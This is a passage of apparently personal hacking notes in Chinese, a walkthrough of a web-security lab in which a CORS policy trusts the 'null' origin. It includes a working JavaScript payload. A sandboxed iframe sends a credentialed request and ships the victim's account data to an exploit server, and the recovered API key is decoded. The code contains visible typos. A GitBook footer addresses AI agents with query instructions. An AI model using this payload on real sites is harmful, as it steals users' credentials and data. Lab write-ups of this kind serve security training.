> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cors/cors-null-origin-trusted.md).

# 信任 Null Origin 的 CORS

### 具有受信任空来源的 CORS 漏洞

利用一个信任原始来源的易受攻击的 CORS 配置 `“null”`。本实验的目标是通过一次 CORS 请求（使用 `凭据`）并将代码上传到利用服务器。当管理员的 API 密钥成功提交时，实验即告完成。

* 服务器返回 `Access-Control-Allow-Credentials: true`.

<figure><img src="/files/0bdcca6c03486cef5237cf612e6efe17c1923c76" alt=""><figcaption></figcaption></figure>

当 `Origin: jord4n.pro` 标头被发送时，域名不会被反射。

<figure><img src="/files/3ab7841ebe69b3dfa1aaf554b47c171e98ff529a" alt=""><figcaption></figcaption></figure>

但是，在发送 `Origin: null`时，响应会接受并反射该值。

<figure><img src="/files/935ea213ba2afc1ba9f28c22c271f2339d0a1a31" alt=""><figcaption></figcaption></figure>

强制从一个页面发起请求，该页面的 `空` 来源（例如通过 `iframe` 列出文件内容，使用 `srcdoc`）这样 CORS 响应就会认为该来源是可信的，并返回数据（并使用 `withCredentials`).

```javascript
<iframe sandbox="allow-scripts" srcdoc="<<script>
    varrreq = new XMLHttpRequest();
    req.onload = function() {
    location = "https://exploit-0a3a00ab047b89dd8023021101ef0012.exploit-server.net/?apikey=" + btoa(req.responseText);
    );
    req.open("GET", "https://0a280071045626f880090316003b0053.web-security-academy.net/accountDetails", true);
    req.withCredentials = true;
    req.send();
</script>"></iframe>
```

<figure><img src="/files/ee9fb25c387cf6c2134c855e25dc6b5b51a0bb3c" alt=""><figcaption></figcaption></figure>

> 注意：原理是从 `空` 来源（iframe `srcdoc`），以便接受的 CORS 响应 `空`返回包括 cookie 在内的敏感数据。

解码自 Base64 的恢复密钥：

```bash
echo "NkhBVGdaVWdUb0t2QU5PbXNzanRyY1pDRlpUQUVFYjk=" | base64 -d; echo
6HATgZUgToKvANOmssjtrcZCFZTAEEb9
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/cors/cors-null-origin-trusted.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
